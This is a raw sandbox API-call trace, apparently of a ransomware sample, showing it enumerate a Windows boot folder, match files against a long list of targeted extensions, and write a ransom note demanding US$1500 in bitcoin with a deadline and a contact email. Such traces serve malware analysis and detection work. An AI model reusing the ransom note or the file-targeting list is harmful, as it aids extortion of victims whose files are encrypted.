(lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\da-dk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.982] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0124.983] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.983] CloseHandle (hObject=0xffffffff) returned 0 [0124.983] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui" [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0124.983] lstrlenA (lpString="*.ems") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.db") returned 0 [0124.983] lstrlenA (lpString="*.db") returned 4 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.dbf") returned 0 [0124.983] lstrlenA (lpString="*.dbf") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.myox") returned 0 [0124.983] lstrlenA (lpString="*.myox") returned 6 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.myo") returned 0 [0124.983] lstrlenA (lpString="*.myo") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qbw") returned 0 [0124.983] lstrlenA (lpString="*.qbw") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qbb") returned 0 [0124.983] lstrlenA (lpString="*.qbb") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qbm") returned 0 [0124.983] lstrlenA (lpString="*.qbm") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qbo") returned 0 [0124.983] lstrlenA (lpString="*.qbo") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qbx") returned 0 [0124.983] lstrlenA (lpString="*.qbx") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qba") returned 0 [0124.983] lstrlenA (lpString="*.qba") returned 5 [0124.983] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qby") returned 0 [0124.984] lstrlenA (lpString="*.qby") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qbj") returned 0 [0124.984] lstrlenA (lpString="*.qbj") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.ofx") returned 0 [0124.984] lstrlenA (lpString="*.ofx") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.qif") returned 0 [0124.984] lstrlenA (lpString="*.qif") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mye") returned 0 [0124.984] lstrlenA (lpString="*.mye") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mbox") returned 0 [0124.984] lstrlenA (lpString="*.mbox") returned 6 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0124.984] lstrlenA (lpString="*.eml") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.pst") returned 0 [0124.984] lstrlenA (lpString="*.pst") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.ost") returned 0 [0124.984] lstrlenA (lpString="*.ost") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.idx") returned 0 [0124.984] lstrlenA (lpString="*.idx") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.dbx") returned 0 [0124.984] lstrlenA (lpString="*.dbx") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.sql") returned 0 [0124.984] lstrlenA (lpString="*.sql") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mdb") returned 0 [0124.984] lstrlenA (lpString="*.mdb") returned 5 [0124.984] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.fdb") returned 0 [0124.985] lstrlenA (lpString="*.fdb") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.wab") returned 0 [0124.985] lstrlenA (lpString="*.wab") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.dat") returned 0 [0124.985] lstrlenA (lpString="*.dat") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.txt") returned 0 [0124.985] lstrlenA (lpString="*.txt") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.jpeg") returned 0 [0124.985] lstrlenA (lpString="*.jpeg") returned 6 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.jpg") returned 0 [0124.985] lstrlenA (lpString="*.jpg") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.png") returned 0 [0124.985] lstrlenA (lpString="*.png") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.php") returned 0 [0124.985] lstrlenA (lpString="*.php") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.cs") returned 0 [0124.985] lstrlenA (lpString="*.cs") returned 4 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.cpp") returned 0 [0124.985] lstrlenA (lpString="*.cpp") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.rar") returned 0 [0124.985] lstrlenA (lpString="*.rar") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.zip") returned 0 [0124.985] lstrlenA (lpString="*.zip") returned 5 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.html") returned 0 [0124.985] lstrlenA (lpString="*.html") returned 6 [0124.985] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.htm") returned 0 [0124.986] lstrlenA (lpString="*.htm") returned 5 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.xlsx") returned 0 [0124.986] lstrlenA (lpString="*.xlsx") returned 6 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.xls") returned 0 [0124.986] lstrlenA (lpString="*.xls") returned 5 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mp4") returned 0 [0124.986] lstrlenA (lpString="*.mp4") returned 5 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.ppt") returned 0 [0124.986] lstrlenA (lpString="*.ppt") returned 5 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.pptx") returned 0 [0124.986] lstrlenA (lpString="*.pptx") returned 6 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.doc") returned 0 [0124.986] lstrlenA (lpString="*.doc") returned 5 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.dot") returned 0 [0124.986] lstrlenA (lpString="*.dot") returned 5 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.docx") returned 0 [0124.986] lstrlenA (lpString="*.docx") returned 6 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.7z") returned 0 [0124.986] lstrlenA (lpString="*.7z") returned 4 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.tar") returned 0 [0124.986] lstrlenA (lpString="*.tar") returned 5 [0124.986] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.bz2") returned 0 [0124.987] lstrlenA (lpString="*.bz2") returned 5 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.gz") returned 0 [0124.987] lstrlenA (lpString="*.gz") returned 4 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mkv") returned 0 [0124.987] lstrlenA (lpString="*.mkv") returned 5 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0124.987] lstrlenA (lpString="*.eml") returned 5 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.msg") returned 0 [0124.987] lstrlenA (lpString="*.msg") returned 5 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.edb") returned 0 [0124.987] lstrlenA (lpString="*.edb") returned 5 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.accdb") returned 0 [0124.987] lstrlenA (lpString="*.accdb") returned 7 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.odb") returned 0 [0124.987] lstrlenA (lpString="*.odb") returned 5 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.java") returned 0 [0124.987] lstrlenA (lpString="*.java") returned 6 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.asm") returned 0 [0124.987] lstrlenA (lpString="*.asm") returned 5 [0124.987] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.pfx") returned 0 [0124.987] lstrlenA (lpString="*.pfx") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.pem") returned 0 [0124.988] lstrlenA (lpString="*.pem") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.p12") returned 0 [0124.988] lstrlenA (lpString="*.p12") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.gpg") returned 0 [0124.988] lstrlenA (lpString="*.gpg") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.vsd") returned 0 [0124.988] lstrlenA (lpString="*.vsd") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.odg") returned 0 [0124.988] lstrlenA (lpString="*.odg") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.raw") returned 0 [0124.988] lstrlenA (lpString="*.raw") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.nef") returned 0 [0124.988] lstrlenA (lpString="*.nef") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.svg") returned 0 [0124.988] lstrlenA (lpString="*.svg") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.psd") returned 0 [0124.988] lstrlenA (lpString="*.psd") returned 5 [0124.988] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.vmx") returned 0 [0124.988] lstrlenA (lpString="*.vmx") returned 5 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.vmdk") returned 0 [0124.989] lstrlenA (lpString="*.vmdk") returned 6 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.vdi") returned 0 [0124.989] lstrlenA (lpString="*.vdi") returned 5 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.lay6") returned 0 [0124.989] lstrlenA (lpString="*.lay6") returned 6 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mpeg") returned 0 [0124.989] lstrlenA (lpString="*.mpeg") returned 6 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.djvu") returned 0 [0124.989] lstrlenA (lpString="*.djvu") returned 6 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.tiff") returned 0 [0124.989] lstrlenA (lpString="*.tiff") returned 6 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.backup") returned 0 [0124.989] lstrlenA (lpString="*.backup") returned 8 [0124.989] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.pdf") returned 0 [0124.989] lstrlenA (lpString="*.pdf") returned 5 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.cert") returned 0 [0124.990] lstrlenA (lpString="*.cert") returned 6 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.docm") returned 0 [0124.990] lstrlenA (lpString="*.docm") returned 6 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.xlsm") returned 0 [0124.990] lstrlenA (lpString="*.xlsm") returned 6 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.dwg") returned 0 [0124.990] lstrlenA (lpString="*.dwg") returned 5 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.nd") returned 0 [0124.990] lstrlenA (lpString="*.nd") returned 4 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.tlg") returned 0 [0124.990] lstrlenA (lpString="*.tlg") returned 5 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.lgb") returned 0 [0124.990] lstrlenA (lpString="*.lgb") returned 5 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mov") returned 0 [0124.990] lstrlenA (lpString="*.mov") returned 5 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.xdw") returned 0 [0124.990] lstrlenA (lpString="*.xdw") returned 5 [0124.990] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.ods") returned 0 [0124.990] lstrlenA (lpString="*.ods") returned 5 [0124.991] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.wav") returned 0 [0124.991] lstrlenA (lpString="*.wav") returned 5 [0124.991] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.mp3") returned 0 [0124.991] lstrlenA (lpString="*.mp3") returned 5 [0124.991] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.aiff") returned 0 [0124.991] lstrlenA (lpString="*.aiff") returned 6 [0124.991] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.flac") returned 0 [0124.991] lstrlenA (lpString="*.flac") returned 6 [0124.991] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.m4a") returned 0 [0124.991] lstrlenA (lpString="*.m4a") returned 5 [0124.991] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui", pszSpec="*.csv") returned 0 [0124.991] lstrlenA (lpString="*.csv") returned 5 [0124.991] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe67ffc2c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0124.991] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.991] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0124.991] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0124.991] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0124.991] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0124.991] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\da-DK\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\") returned="C:\\Windows\\Boot\\EFI\\da-DK\\" [0124.991] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\da-DK\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\da-DK\\") returned="" [0124.992] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt" [0124.992] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\da-dk\\how to decrypt files.txt")) returned 0xffffffff [0124.992] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\da-dk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.992] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0124.992] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.992] CloseHandle (hObject=0xffffffff) returned 0 [0124.992] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui" [0124.992] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0124.992] lstrlenA (lpString="*.ems") returned 5 [0124.992] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.db") returned 0 [0124.992] lstrlenA (lpString="*.db") returned 4 [0124.992] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.dbf") returned 0 [0124.993] lstrlenA (lpString="*.dbf") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.myox") returned 0 [0124.993] lstrlenA (lpString="*.myox") returned 6 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.myo") returned 0 [0124.993] lstrlenA (lpString="*.myo") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qbw") returned 0 [0124.993] lstrlenA (lpString="*.qbw") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qbb") returned 0 [0124.993] lstrlenA (lpString="*.qbb") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qbm") returned 0 [0124.993] lstrlenA (lpString="*.qbm") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qbo") returned 0 [0124.993] lstrlenA (lpString="*.qbo") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qbx") returned 0 [0124.993] lstrlenA (lpString="*.qbx") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qba") returned 0 [0124.993] lstrlenA (lpString="*.qba") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qby") returned 0 [0124.993] lstrlenA (lpString="*.qby") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qbj") returned 0 [0124.993] lstrlenA (lpString="*.qbj") returned 5 [0124.993] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.ofx") returned 0 [0124.993] lstrlenA (lpString="*.ofx") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.qif") returned 0 [0124.994] lstrlenA (lpString="*.qif") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mye") returned 0 [0124.994] lstrlenA (lpString="*.mye") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.mbox") returned 0 [0124.994] lstrlenA (lpString="*.mbox") returned 6 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.eml") returned 0 [0124.994] lstrlenA (lpString="*.eml") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.pst") returned 0 [0124.994] lstrlenA (lpString="*.pst") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.ost") returned 0 [0124.994] lstrlenA (lpString="*.ost") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.idx") returned 0 [0124.994] lstrlenA (lpString="*.idx") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.dbx") returned 0 [0124.994] lstrlenA (lpString="*.dbx") returned 5 [0124.994] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui", pszSpec="*.sql") returned 0 [0124.994] lstrlenA (lpString="*.sql") returned 5 [0124.994] PathMatchSpecA 